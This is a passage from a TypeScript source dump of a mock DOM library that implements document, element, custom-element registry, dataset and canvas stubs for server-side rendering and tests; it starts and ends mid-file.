correct, but since we're doing // SSR we'll need to turn any assigned cssRules into // real text, not just properties that aren't rendered const sheet = styleElm.sheet; sheet.cssRules.length = 0; sheet.insertRule(text); updateStyleTextNode(styleElm); } function updateStyleTextNode(styleElm: MockStyleElement) { const childNodeLen = styleElm.childNodes.length; if (childNodeLen > 1) { for (let i = childNodeLen - 1; i >= 1; i--) { styleElm.removeChild(styleElm.childNodes[i]); } } else if (childNodeLen < 1) { styleElm.appendChild(styleElm.ownerDocument.createTextNode('')); } const textNode = styleElm.childNodes[0]; textNode.nodeValue = styleElm.sheet.cssRules.map((r) => r.cssText).join('\n'); } ================================================ FILE: src/mock-doc/custom-element-registry.ts ================================================ import { NODE_TYPES } from './constants'; import { MockHTMLElement, MockNode } from './node'; export class MockCustomElementRegistry implements CustomElementRegistry { private __registry: Map; private __whenDefined: Map; constructor(private win: Window) {} define(tagName: string, cstr: any, options?: any) { if (tagName.toLowerCase() !== tagName) { throw new Error( `Failed to execute 'define' on 'CustomElementRegistry': "${tagName}" is not a valid custom element name`, ); } if (this.__registry == null) { this.__registry = new Map(); } this.__registry.set(tagName, { cstr, options }); if (this.__whenDefined != null) { const whenDefinedResolveFns = this.__whenDefined.get(tagName); if (whenDefinedResolveFns != null) { whenDefinedResolveFns.forEach((whenDefinedResolveFn) => { whenDefinedResolveFn(); }); whenDefinedResolveFns.length = 0; this.__whenDefined.delete(tagName); } } const doc = this.win.document; if (doc != null) { const hosts = doc.querySelectorAll(tagName); hosts.forEach((host) => { if (upgradedElements.has(host) === false) { tempDisableCallbacks.add(doc); const upgradedCmp = createCustomElement(this, doc, tagName) as MockNode; for (let i = 0; i < host.childNodes.length; i++) { const childNode = host.childNodes[i]; childNode.remove(); upgradedCmp.appendChild(childNode as any); } tempDisableCallbacks.delete(doc); if (proxyElements.has(host)) { proxyElements.set(host, upgradedCmp); } } fireConnectedCallback(host); }); } } get(tagName: string) { if (this.__registry != null) { const def = this.__registry.get(tagName.toLowerCase()); if (def != null) { return def.cstr; } } return undefined; } getName(cstr: CustomElementConstructor) { for (const [tagName, def] of this.__registry.entries()) { if (def.cstr === cstr) { return tagName; } } return undefined; } upgrade(_rootNode: any) { // } clear() { if (this.__registry != null) { this.__registry.clear(); } if (this.__whenDefined != null) { this.__whenDefined.clear(); } } whenDefined(tagName: string): Promise { tagName = tagName.toLowerCase(); if (this.__registry != null && this.__registry.has(tagName) === true) { return Promise.resolve(this.__registry.get(tagName).cstr); } return new Promise((resolve) => { if (this.__whenDefined == null) { this.__whenDefined = new Map(); } let whenDefinedResolveFns = this.__whenDefined.get(tagName); if (whenDefinedResolveFns == null) { whenDefinedResolveFns = []; this.__whenDefined.set(tagName, whenDefinedResolveFns); } whenDefinedResolveFns.push(resolve); }); } } export function createCustomElement(customElements: MockCustomElementRegistry, ownerDocument: any, tagName: string) { const Cstr = customElements.get(tagName); if (Cstr != null) { const cmp = new Cstr(ownerDocument); cmp.nodeName = tagName.toUpperCase(); upgradedElements.add(cmp); return cmp; } const host = new Proxy( {}, { get(obj: any, prop: string) { const elm = proxyElements.get(host); if (elm != null) { return elm[prop]; } return obj[prop]; }, set(obj: any, prop: string, val: any) { const elm = proxyElements.get(host); if (elm != null) { elm[prop] = val; } else { obj[prop] = val; } return true; }, has(obj: any, prop: string) { const elm = proxyElements.get(host); if (prop in elm) { return true; } if (prop in obj) { return true; } return false; }, }, ); const elm = new MockHTMLElement(ownerDocument, tagName); proxyElements.set(host, elm); return host; } const proxyElements = new WeakMap(); const upgradedElements = new WeakSet(); export function connectNode(ownerDocument: any, node: MockNode) { node.ownerDocument = ownerDocument; if (node.nodeType === NODE_TYPES.ELEMENT_NODE) { if (ownerDocument != null && node.nodeName.includes('-')) { const win = ownerDocument.defaultView as Window; if (win != null && typeof (node as any).connectedCallback === 'function' && node.isConnected) { fireConnectedCallback(node); } const shadowRoot = (node as any as Element).shadowRoot; if (shadowRoot != null) { shadowRoot.childNodes.forEach((childNode) => { connectNode(ownerDocument, childNode as any); }); } } node.childNodes.forEach((childNode) => { connectNode(ownerDocument, childNode); }); } else { node.childNodes.forEach((childNode) => { childNode.ownerDocument = ownerDocument; }); } } function fireConnectedCallback(node: any) { if (typeof (node as any).connectedCallback === 'function') { if (tempDisableCallbacks.has(node.ownerDocument) === false) { try { node.connectedCallback(); } catch (e) { console.error(e); } } } } export function disconnectNode(node: MockNode) { if (node.nodeType === NODE_TYPES.ELEMENT_NODE) { if (node.nodeName.includes('-') === true && typeof (node as any).disconnectedCallback === 'function') { if (tempDisableCallbacks.has(node.ownerDocument) === false) { try { (node as any).disconnectedCallback(); } catch (e) { console.error(e); } } } node.childNodes.forEach(disconnectNode); } } export function attributeChanged(node: MockNode, attrName: string, oldValue: string | null, newValue: string | null) { attrName = attrName.toLowerCase(); const observedAttributes = (node as any).constructor.observedAttributes as string[]; if ( Array.isArray(observedAttributes) === true && observedAttributes.some((obs) => obs.toLowerCase() === attrName) === true ) { try { (node as any).attributeChangedCallback(attrName, oldValue, newValue); } catch (e) { console.error(e); } } } export function checkAttributeChanged(node: MockNode) { return node.nodeName.includes('-') === true && typeof (node as any).attributeChangedCallback === 'function'; } const tempDisableCallbacks = new Set(); ================================================ FILE: src/mock-doc/dataset.ts ================================================ import { MockElement } from './node'; export function dataset(elm: MockElement) { const ds: any = {}; const attributes = elm.attributes; const attrLen = attributes.length; for (let i = 0; i < attrLen; i++) { const attr = attributes.item(i); const nodeName = attr.nodeName; if (nodeName.startsWith('data-')) { ds[dashToPascalCase(nodeName)] = attr.nodeValue; } } return new Proxy(ds, { get(_obj, camelCaseProp: string) { return ds[camelCaseProp]; }, set(_obj, camelCaseProp: string, value) { const dataAttr = toDataAttribute(camelCaseProp); elm.setAttribute(dataAttr, value); return true; }, }); } function toDataAttribute(str: string) { return ( 'data-' + String(str) .replace(/([A-Z0-9])/g, (g) => ' ' + g[0]) .trim() .replace(/ /g, '-') .toLowerCase() ); } function dashToPascalCase(str: string) { str = String(str).slice(5); return str .split('-') .map((segment, index) => { if (index === 0) { return segment.charAt(0).toLowerCase() + segment.slice(1); } return segment.charAt(0).toUpperCase() + segment.slice(1); }) .join(''); } ================================================ FILE: src/mock-doc/document-fragment.ts ================================================ import { NODE_NAMES, NODE_TYPES } from './constants'; import { MockCSSStyleSheet } from './css-style-sheet'; import { getElementById } from './document'; import { MockElement, MockHTMLElement } from './node'; export class MockDocumentFragment extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, null); this.nodeName = NODE_NAMES.DOCUMENT_FRAGMENT_NODE; this.nodeType = NODE_TYPES.DOCUMENT_FRAGMENT_NODE; } getElementById(id: string): MockElement { return getElementById(this, id); } get adoptedStyleSheets(): MockCSSStyleSheet[] { return []; } set adoptedStyleSheets(_adoptedStyleSheets: MockCSSStyleSheet[]) { throw new Error('Unimplemented'); } override cloneNode(deep?: boolean) { const cloned = new MockDocumentFragment(null); if (deep) { for (let i = 0, ii = this.childNodes.length; i < ii; i++) { const childNode = this.childNodes[i]; if ( childNode.nodeType === NODE_TYPES.ELEMENT_NODE || childNode.nodeType === NODE_TYPES.TEXT_NODE || childNode.nodeType === NODE_TYPES.COMMENT_NODE ) { const clonedChildNode = this.childNodes[i].cloneNode(true); cloned.appendChild(clonedChildNode); } } } return cloned; } } ================================================ FILE: src/mock-doc/document-type-node.ts ================================================ import { NODE_TYPES } from './constants'; import { MockHTMLElement } from './node'; export class MockDocumentTypeNode extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, '!DOCTYPE'); this.nodeType = NODE_TYPES.DOCUMENT_TYPE_NODE; this.setAttribute('html', ''); } } ================================================ FILE: src/mock-doc/document.ts ================================================ import { MockAttr } from './attribute'; import { MockComment } from './comment-node'; import { NODE_NAMES, NODE_TYPES } from './constants'; import { MockDocumentFragment } from './document-fragment'; import { MockDocumentTypeNode } from './document-type-node'; import { createElement, createElementNS, MockBaseElement } from './element'; import { resetEventListeners } from './event'; import { MockElement, MockHTMLElement, MockTextNode, resetElement } from './node'; import { parseHtmlToFragment } from './parse-html'; import { parseDocumentUtil } from './parse-util'; import { MockWindow } from './window'; export class MockDocument extends MockHTMLElement { defaultView: any; cookie: string; referrer: string; constructor(html: string | boolean | null = null, win: any = null) { super(null, null); this.nodeName = NODE_NAMES.DOCUMENT_NODE; this.nodeType = NODE_TYPES.DOCUMENT_NODE; this.defaultView = win; this.cookie = ''; this.referrer = ''; this.appendChild(this.createDocumentTypeNode()); if (typeof html === 'string') { const parsedDoc: MockDocument = parseDocumentUtil(this, html); const documentElement = parsedDoc.children.find((elm) => elm.nodeName === 'HTML'); if (documentElement != null) { this.appendChild(documentElement); setOwnerDocument(documentElement, this); } } else if (html !== false) { const documentElement = new MockHTMLElement(this, 'html'); this.appendChild(documentElement); documentElement.appendChild(new MockHTMLElement(this, 'head')); documentElement.appendChild(new MockHTMLElement(this, 'body')); } } override get dir() { return this.documentElement.dir; } override set dir(value: string) { this.documentElement.dir = value; } override get localName(): never { throw new Error('Unimplemented'); } get location(): Location | null { if (this.defaultView != null) { return (this.defaultView as Window).location; } return null; } set location(val: string) { if (this.defaultView != null) { (this.defaultView as Window).location.href = val; } } get baseURI() { const baseNode = this.head.childNodes.find((node) => node.nodeName === 'BASE') as MockBaseElement; if (baseNode) { return baseNode.href; } return this.URL; } get URL() { return this.location.href; } get styleSheets() { return this.querySelectorAll('style'); } get scripts() { return this.querySelectorAll('script'); } get forms() { return this.querySelectorAll('form'); } get images() { return this.querySelectorAll('img'); } get scrollingElement() { return this.documentElement; } get documentElement() { for (let i = this.childNodes.length - 1; i >= 0; i--) { if (this.childNodes[i].nodeName === 'HTML') { return this.childNodes[i] as MockElement; } } const documentElement = new MockHTMLElement(this, 'html'); this.appendChild(documentElement); return documentElement; } set documentElement(documentElement) { for (let i = this.childNodes.length - 1; i >= 0; i--) { if (this.childNodes[i].nodeType !== NODE_TYPES.DOCUMENT_TYPE_NODE) { this.childNodes[i].remove(); } } if (documentElement != null) { this.appendChild(documentElement); setOwnerDocument(documentElement, this); } } get head() { const documentElement = this.documentElement; for (let i = 0; i < documentElement.childNodes.length; i++) { if (documentElement.childNodes[i].nodeName === 'HEAD') { return documentElement.childNodes[i] as MockElement; } } const head = new MockHTMLElement(this, 'head'); documentElement.insertBefore(head, documentElement.firstChild); return head; } set head(head) { const documentElement = this.documentElement; for (let i = documentElement.childNodes.length - 1; i >= 0; i--) { if (documentElement.childNodes[i].nodeName === 'HEAD') { documentElement.childNodes[i].remove(); } } if (head != null) { documentElement.insertBefore(head, documentElement.firstChild); setOwnerDocument(head, this); } } get body() { const documentElement = this.documentElement; for (let i = documentElement.childNodes.length - 1; i >= 0; i--) { if (documentElement.childNodes[i].nodeName === 'BODY') { return documentElement.childNodes[i] as MockElement; } } const body = new MockHTMLElement(this, 'body'); documentElement.appendChild(body); return body; } set body(body) { const documentElement = this.documentElement; for (let i = documentElement.childNodes.length - 1; i >= 0; i--) { if (documentElement.childNodes[i].nodeName === 'BODY') { documentElement.childNodes[i].remove(); } } if (body != null) { documentElement.appendChild(body); setOwnerDocument(body, this); } } override appendChild(newNode: MockElement) { newNode.remove(); newNode.parentNode = this; this.childNodes.push(newNode); return newNode; } createComment(data: string) { return new MockComment(this, data); } createAttribute(attrName: string) { return new MockAttr(attrName.toLowerCase(), ''); } createAttributeNS(namespaceURI: string, attrName: string) { return new MockAttr(attrName, '', namespaceURI); } createElement(tagName: string) { if (tagName === NODE_NAMES.DOCUMENT_NODE) { const doc = new MockDocument(false as any); doc.nodeName = tagName; doc.parentNode = null; return doc; } return createElement(this, tagName); } createElementNS(namespaceURI: string, tagName: string) { const elmNs = createElementNS(this, namespaceURI, tagName); return elmNs; } createTextNode(text: string) { return new MockTextNode(this, text); } createDocumentFragment() { return new MockDocumentFragment(this); } createDocumentTypeNode() { return new MockDocumentTypeNode(this); } getElementById(id: string) { return getElementById(this, id); } getElementsByName(elmName: string) { return getElementsByName(this, elmName.toLowerCase()); } override get title() { const title = this.head.childNodes.find((elm) => elm.nodeName === 'TITLE') as MockElement; if (title != null && typeof title.textContent === 'string') { return title.textContent.trim(); } return ''; } override set title(value: string) { const head = this.head; let title = head.childNodes.find((elm) => elm.nodeName === 'TITLE') as MockElement; if (title == null) { title = this.createElement('title'); head.appendChild(title); } title.textContent = value; } } export function createDocument(html: string | boolean = null): Document { return new MockWindow(html).document; } export function createFragment(html?: string): DocumentFragment { return parseHtmlToFragment(html, null); } export function resetDocument(doc: Document) { if (doc != null) { resetEventListeners(doc); const documentElement = doc.documentElement; if (documentElement != null) { resetElement(documentElement as any); for (let i = 0, ii = documentElement.childNodes.length; i < ii; i++) { const childNode = documentElement.childNodes[i]; resetElement(childNode as any); (childNode.childNodes as any).length = 0; } } for (const key in doc) { if (doc.hasOwnProperty(key) && !DOC_KEY_KEEPERS.has(key)) { delete (doc as any)[key]; } } try { (doc as any).nodeName = NODE_NAMES.DOCUMENT_NODE; } catch (e) {} try { (doc as any).nodeType = NODE_TYPES.DOCUMENT_NODE; } catch (e) {} try { (doc as any).cookie = ''; } catch (e) {} try { (doc as any).referrer = ''; } catch (e) {} } } const DOC_KEY_KEEPERS = new Set([ 'nodeName', 'nodeType', 'nodeValue', 'ownerDocument', 'parentNode', 'childNodes', '_childNodes', '_shadowRoot', ]); export function getElementById(elm: MockElement, id: string): MockElement { const children = elm.children; for (let i = 0, ii = children.length; i < ii; i++) { const childElm = children[i]; if (childElm.id === id) { return childElm; } const childElmFound = getElementById(childElm, id); if (childElmFound != null) { return childElmFound; } } return null; } function getElementsByName(elm: MockElement, elmName: string, foundElms: MockElement[] = []) { const children = elm.children; for (let i = 0, ii = children.length; i < ii; i++) { const childElm = children[i]; if ((childElm as any).name && (childElm as any).name.toLowerCase() === elmName) { foundElms.push(childElm); } getElementsByName(childElm, elmName, foundElms); } return foundElms; } export function setOwnerDocument(elm: MockElement, ownerDocument: any) { for (let i = 0, ii = elm.childNodes.length; i < ii; i++) { elm.childNodes[i].ownerDocument = ownerDocument; if (elm.childNodes[i].nodeType === NODE_TYPES.ELEMENT_NODE) { setOwnerDocument(elm.childNodes[i] as any, ownerDocument); } } } ================================================ FILE: src/mock-doc/element.ts ================================================ import { cloneAttributes } from './attribute'; import { NODE_TYPES } from './constants'; import { getStyleElementText, MockCSSStyleSheet, setStyleElementText } from './css-style-sheet'; import { createCustomElement } from './custom-element-registry'; import { MockDocumentFragment } from './document-fragment'; import { MockElement, MockHTMLElement, MockNode } from './node'; export function createElement(ownerDocument: any, tagName: string): any { if (typeof tagName !== 'string' || tagName === '' || !/^[a-z0-9-_:]+$/i.test(tagName)) { throw new Error(`The tag name provided (${tagName}) is not a valid name.`); } tagName = tagName.toLowerCase(); switch (tagName) { case 'a': return new MockAnchorElement(ownerDocument); case 'base': return new MockBaseElement(ownerDocument); case 'button': return new MockButtonElement(ownerDocument); case 'canvas': return new MockCanvasElement(ownerDocument); case 'form': return new MockFormElement(ownerDocument); case 'img': return new MockImageElement(ownerDocument); case 'input': return new MockInputElement(ownerDocument); case 'label': return new MockLabelElement(ownerDocument); case 'link': return new MockLinkElement(ownerDocument); case 'meta': return new MockMetaElement(ownerDocument); case 'script': return new MockScriptElement(ownerDocument); case 'slot': return new MockSlotElement(ownerDocument); case 'slot-fb': return new MockHTMLElement(ownerDocument, tagName); case 'style': return new MockStyleElement(ownerDocument); case 'template': return new MockTemplateElement(ownerDocument); case 'title': return new MockTitleElement(ownerDocument); case 'ul': return new MockUListElement(ownerDocument); } if (ownerDocument != null && tagName.includes('-')) { const win = ownerDocument.defaultView; if (win != null && win.customElements != null) { return createCustomElement(win.customElements, ownerDocument, tagName); } } return new MockHTMLElement(ownerDocument, tagName); } export function createElementNS(ownerDocument: any, namespaceURI: string, tagName: string) { if (namespaceURI === 'http://www.w3.org/1999/xhtml') { return createElement(ownerDocument, tagName); } else if (namespaceURI === 'http://www.w3.org/2000/svg') { switch (tagName.toLowerCase()) { case 'text': case 'tspan': case 'tref': case 'altglyph': case 'textpath': return new MockSVGTextContentElement(ownerDocument, tagName); case 'circle': case 'ellipse': case 'image': case 'line': case 'path': case 'polygon': case 'polyline': case 'rect': case 'use': return new MockSVGGraphicsElement(ownerDocument, tagName); case 'svg': return new MockSVGSVGElement(ownerDocument, tagName); default: return new MockSVGElement(ownerDocument, tagName); } } else { return new MockElement(ownerDocument, tagName, namespaceURI); } } export class MockAnchorElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'a'); } get href() { return fullUrl(this, 'href'); } set href(value: string) { this.setAttribute('href', value); } get pathname() { if (!this.href) { return ''; } return new URL(this.href).pathname; } } export class MockButtonElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'button'); } get labels() { return getLabelsForElement(this); } } patchPropAttributes( MockButtonElement.prototype, { type: String, }, { type: 'submit', }, ); Object.defineProperty(MockButtonElement.prototype, 'form', { get(this: MockElement) { return this.hasAttribute('form') ? this.getAttribute('form') : null; }, }); export class MockImageElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'img'); } override get draggable() { return this.getAttributeNS(null, 'draggable') !== 'false'; } override set draggable(value: boolean) { this.setAttributeNS(null, 'draggable', value); } get src() { return fullUrl(this, 'src'); } set src(value: string) { this.setAttribute('src', value); } } patchPropAttributes(MockImageElement.prototype, { height: Number, width: Number, }); export class MockInputElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'input'); } get list() { const listId = this.getAttribute('list'); if (listId) { return (this.ownerDocument as Document).getElementById(listId); } return null; } get labels() { return getLabelsForElement(this); } } patchPropAttributes( MockInputElement.prototype, { accept: String, autocomplete: String, autofocus: Boolean, capture: String, checked: Boolean, disabled: Boolean, form: String, formaction: String, formenctype: String, formmethod: String, formnovalidate: String, formtarget: String, height: Number, inputmode: String, max: String, maxLength: Number, min: String, minLength: Number, multiple: Boolean, name: String, pattern: String, placeholder: String, required: Boolean, readOnly: Boolean, size: Number, spellCheck: Boolean, src: String, step: String, type: String, value: String, width: Number, }, { type: 'text', }, ); export class MockFormElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'form'); } } patchPropAttributes(MockFormElement.prototype, { name: String, }); export class MockLabelElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'label'); } get htmlFor() { return this.getAttributeNS(null, 'for') || ''; } set htmlFor(value: string) { this.setAttributeNS(null, 'for', value); } get control(): MockHTMLElement | null { const forAttr = this.htmlFor; if (forAttr) { // Label references an element by ID via the "for" attribute return this.ownerDocument?.getElementById(forAttr) ?? null; } // If no "for" attribute, look for the first labelable descendant const labelableSelector = 'button, input:not([type="hidden"]), meter, output, progress, select, textarea'; return this.querySelector(labelableSelector); } } export class MockLinkElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'link'); } get href() { return fullUrl(this, 'href'); } set href(value: string) { this.setAttribute('href', value); } } patchPropAttributes(MockLinkElement.prototype, { crossorigin: String, media: String, rel: String, type: String, }); export class MockMetaElement extends MockHTMLElement { content: string; constructor(ownerDocument: any) { super(ownerDocument, 'meta'); } } patchPropAttributes(MockMetaElement.prototype, { charset: String, content: String, name: String, }); export class MockScriptElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'script'); } get src() { return fullUrl(this, 'src'); } set src(value: string) { this.setAttribute('src', value); } } patchPropAttributes(MockScriptElement.prototype, { type: String, }); export class MockDOMMatrix { static fromMatrix() { return new MockDOMMatrix(); } a: number = 1; b: number = 0; c: number = 0; d: number = 1; e: number = 0; f: number = 0; m11: number = 1; m12: number = 0; m13: number = 0; m14: number = 0; m21: number = 0; m22: number = 1; m23: number = 0; m24: number = 0; m31: number = 0; m32: number = 0; m33: number = 1; m34: number = 0; m41: number = 0; m42: number = 0; m43: number = 0; m44: number = 1; is2D: boolean = true; isIdentity: boolean = true; inverse() { return new MockDOMMatrix(); } flipX() { return new MockDOMMatrix(); } flipY() { return new MockDOMMatrix(); } multiply() { return new MockDOMMatrix(); } rotate() { return new MockDOMMatrix(); } rotateAxisAngle() { return new MockDOMMatrix(); } rotateFromVector() { return new MockDOMMatrix(); } scale() { return new MockDOMMatrix(); } scaleNonUniform() { return new MockDOMMatrix(); } skewX() { return new MockDOMMatrix(); } skewY() { return new MockDOMMatrix(); } toJSON() {} toString() {} transformPoint() { return new MockDOMPoint(); } translate() { return new MockDOMMatrix(); } } export class MockDOMPoint { w: number = 1; x: number = 0; y: number = 0; z: number = 0; toJSON() {} matrixTransform() { return new MockDOMMatrix(); } } export class MockSVGRect { height: number = 10; width: number = 10; x: number = 0; y: number = 0; } export class MockStyleElement extends MockHTMLElement { sheet: MockCSSStyleSheet; constructor(ownerDocument: any) { super(ownerDocument, 'style'); this.sheet = new MockCSSStyleSheet(this); } override get innerHTML() { return getStyleElementText(this); } override set innerHTML(value: string) { setStyleElementText(this, value); } override get innerText() { return getStyleElementText(this); } override set innerText(value: string) { setStyleElementText(this, value); } override get textContent() { return getStyleElementText(this); } override set textContent(value: string) { setStyleElementText(this, value); } } export class MockSVGElement extends MockElement { override __namespaceURI = 'http://www.w3.org/2000/svg'; // SVGElement properties and methods get ownerSVGElement(): SVGSVGElement { return null; } get viewportElement(): SVGElement { return null; } onunload() { /**/ } // SVGGeometryElement properties and methods get pathLength(): number { return 0; } isPointInFill(_pt: DOMPoint): boolean { return false; } isPointInStroke(_pt: DOMPoint): boolean { return false; } getTotalLength(): number { return 0; } } export class MockSVGGraphicsElement extends MockSVGElement { getBBox(_options?: { clipped: boolean; fill: boolean; markers: boolean; stroke: boolean }): MockSVGRect { return new MockSVGRect(); } getCTM(): MockDOMMatrix { return new MockDOMMatrix(); } getScreenCTM(): MockDOMMatrix { return new MockDOMMatrix(); } } export class MockSVGSVGElement extends MockSVGGraphicsElement { createSVGPoint(): MockDOMPoint { return new MockDOMPoint(); } } export class MockSVGTextContentElement extends MockSVGGraphicsElement { getComputedTextLength(): number { return 0; } } export class MockBaseElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'base'); } get href() { return fullUrl(this, 'href'); } set href(value: string) { this.setAttribute('href', value); } } export class MockTemplateElement extends MockHTMLElement { content: MockDocumentFragment; constructor(ownerDocument: any) { super(ownerDocument, 'template'); this.content = new MockDocumentFragment(ownerDocument); } override get innerHTML() { return this.content.innerHTML; } override set innerHTML(html: string) { this.content.innerHTML = html; } override cloneNode(deep?: boolean) { const cloned = new MockTemplateElement(null); cloned.attributes = cloneAttributes(this.attributes); const styleCssText = this.getAttribute('style'); if (styleCssText != null && styleCssText.length > 0) { cloned.setAttribute('style', styleCssText); } cloned.content = this.content.cloneNode(deep); if (deep) { for (let i = 0, ii = this.childNodes.length; i < ii; i++) { const clonedChildNode = this.childNodes[i].cloneNode(true); cloned.appendChild(clonedChildNode); } } return cloned; } } export class MockTitleElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'title'); } get text() { return this.textContent; } set text(value: string) { this.textContent = value; } } export class MockUListElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'ul'); } } export class MockSlotElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'slot'); } assignedNodes(opts?: { flatten: boolean }): (MockNode | Node)[] { let nodesToReturn: (MockNode | Node)[] = []; const ownerHost = (this.getRootNode() as any).host as MockElement; if (!ownerHost) return nodesToReturn; if (ownerHost.childNodes.length) { // try to find lightDOM nodes matching this slot's name (or lack of) if ((this as any).name) { nodesToReturn = ownerHost.childNodes.filter( (n) => n.nodeType === NODE_TYPES.ELEMENT_NODE && (n as MockElement).getAttribute('slot') === (this as any).name, ); } else { // find elements that do not have a slot attribute or // any other type of node nodesToReturn = ownerHost.childNodes.filter( (n) => (n.nodeType === NODE_TYPES.ELEMENT_NODE && !(n as MockElement).getAttribute('slot')) || n.nodeType !== NODE_TYPES.ELEMENT_NODE, ); } if (nodesToReturn.length) return nodesToReturn; } // no flatten option? Return whatever's in this slot (without nested slots) if (!opts?.flatten) return this.childNodes.filter((n) => !(n instanceof MockSlotElement)); // flatten option? Return all nodes in this slot (including anything within nested slots) return this.childNodes.reduce( (acc, node) => { if (node instanceof MockSlotElement) { acc.push(...node.assignedNodes(opts)); } else { acc.push(node); } return acc; }, [] as (MockNode | Node)[], ); } assignedElements(opts?: { flatten: boolean }): (Element | MockHTMLElement)[] { let elesToReturn: (Element | MockHTMLElement)[] = []; const ownerHost = (this.getRootNode() as any).host as MockElement; if (!ownerHost) return elesToReturn; if (ownerHost.children.length) { // try to find lightDOM elements matching this slot's name (or lack of) if ((this as any).name) { elesToReturn = ownerHost.children.filter((n) => (n as MockElement).getAttribute('slot') == (this as any).name); } else { elesToReturn = ownerHost.children.filter((n) => !(n as MockElement).getAttribute('slot')); } if (elesToReturn.length) return elesToReturn; } // no flatten option? Return whatever elements are in this slot (without nested slots) if (!opts?.flatten) return this.children.filter((n) => !(n instanceof MockSlotElement)); // flatten option? Return all elements in this slot (including anything within nested slots) return this.children.reduce( (acc, node) => { if (node instanceof MockSlotElement) { acc.push(...node.assignedElements(opts)); } else { acc.push(node); } return acc; }, [] as (MockElement | Element)[], ); } } patchPropAttributes(MockSlotElement.prototype, { name: String, }); type CanvasContext = '2d' | 'webgl' | 'webgl2' | 'bitmaprenderer'; export class CanvasRenderingContext { context: CanvasContext; contextAttributes: WebGLContextAttributes; constructor(context: CanvasContext, contextAttributes?: WebGLContextAttributes) { this.context = context; this.contextAttributes = contextAttributes; } fillRect() { return; } clearRect() {} getImageData(_: number, __: number, w: number, h: number) { return { data: new Array(w * h * 4), }; } toDataURL() { return 'data:,'; // blank image } putImageData() {} createImageData(): ImageData { return {} as ImageData; } setTransform() {} drawImage() {} save() {} fillText() {} restore() {} beginPath() {} moveTo() {} lineTo() {} closePath() {} stroke() {} translate() {} scale() {} rotate() {} arc() {} fill() {} measureText() { return { width: 0 }; } transform() {} rect() {} clip() {} } export class MockCanvasElement extends MockHTMLElement { constructor(ownerDocument: any) { super(ownerDocument, 'canvas'); } getContext(context: CanvasContext, contextAttributes?: WebGLContextAttributes): CanvasRenderingContext { return new CanvasRenderingContext(context, contextAttributes); } } function fullUrl(elm: MockElement, attrName: string) { const val = elm.getAttribute(attrName) || ''; if (elm.ownerDocument != null) { const win = elm.ownerDocument.defaultView as Window; if (win != null) { const loc = win.location; if (loc != null) { try { const url = new URL(val, loc.href); return url.href; } catch (e) {} } } } return val.replace(/\'|\"/g, '').trim(); } function getLabelsForElement(elm: MockHTMLElement): MockHTMLElement[] { const labels: MockHTMLElement[] = []; const id = elm.id; const doc = elm.ownerDocument; if (doc) { // Find labels with "for" attribute matching this element's ID if (id) { const allLabels = doc.getElementsByTagName('label'); for (let i = 0; i < allLabels.length; i++) { const label = allLabels[i] as MockLabelElement; if (label.htmlFor === id) { labels.push(label); } } } // Find labels that contain this element as a descendant let parent = elm.parentNode as MockHTMLElement | null; while (parent) { if (parent.nodeName === 'LABEL' && !labels.includes(parent)) { labels.push(parent); } parent = parent.parentNode as MockHTMLElement | null; } } return labels; } function patchPropAttributes(prototype: any, attrs: any, defaults: any = {}) { Object.keys(attrs).forEach((propName) => { const attr = attrs[propName]; const defaultValue = defaults[propName]; if (attr === Boolean) { Object.defineProperty(prototype, propName, { get(this: MockElement) { return this.hasAttribute(propName); }, set(this: MockElement, value: boolean) { if (value) { this.setAttribute(propName, ''); } else { this.removeAttribute(propName); } }, }); } else if (attr === Number) { Object.defineProperty(prototype, propName, { get(this: MockElement) { const value = this.getAttribute(propName); return value ? parseInt(value, 10) : defaultValue === undefined ? 0 : defaultValue; }, set(this: MockElement, value: boolean) { this.setAttribute(propName, value); }, }); } else { Object.defineProperty(prototype, propName, { get(this: MockElement) { return this.hasAttribute(propName) ? this.getAttribute(propName) : defaultValue || ''; }, set(this: MockElement, value: boolean) { this.setAttribute(propName, value); }, }); } }); } MockElement.prototype.cloneNode = function (this: MockElement, deep?: boolean) { // because we're creating elements, which extending specific HTML base classes there // is a MockElement circular reference that bundling has trouble dealing with so // the fix is to add cloneNode() to MockElement's prototype after the HTML classes const cloned = createElement(this.ownerDocument, this.nodeName); cloned.attributes = cloneAttributes(this.attributes); const styleCssText = this.getAttribute('style'); if (styleCssText != null && styleCssText.length > 0) { cloned.setAttribute('style', styleCssText); } if (deep) { for (let i = 0, ii = this.childNodes.length; i < ii; i++) { const clonedChildNode = this.childNodes[i].cloneNode(true); cloned.appendChild(clonedChildNode); } } return cloned; }; ================================================ FILE: src/mock-doc/event.ts ================================================ import { NODE_NAMES } from './constants'; import { MockDocument } from './document'; import { MockElement } from './node'; import { MockWindow } from './window'; export class MockEvent { bubbles = false; cancelBubble = false; cancelable = false; composed = false; currentTarget: MockElement = null; defaultPrevented = false; srcElement: MockElement = null; target: MockElement = null; timeStamp: number; type: string; constructor(type: string, eventInitDict?: EventInit) { if (typeof type !== 'string') { throw new Error(`Event type required`); } this.type = type; this.timeStamp = Date.now(); if (eventInitDict != null) { Object.assign(this, eventInitDict); } } preventDefault() { this.defaultPrevented = true; } stopPropagation() { this.cancelBubble = true; } stopImmediatePropagation() { this.cancelBubble = true; } /** * @ref https://developer.mozilla.org/en-US/docs/Web/API/Event/composedPath * @returns a composed path of the event */ composedPath(): MockElement[] { const composedPath: MockElement[] = []; let currentElement = this.target; while (currentElement) { composedPath.push(currentElement); if (!currentElement.parentElement && currentElement.nodeName === NODE_NAMES.DOCUMENT_NODE) { // the current element doesn't have a parent, but we've detected it's our root document node. push the window // object associated with the document onto the path composedPath.push((currentElement as MockDocument).defaultView); break; } /** * bubble up the parent chain until we arrive to the HTML element. Here we continue * with the document object instead of the parent element since the parent element * is `null` for HTML 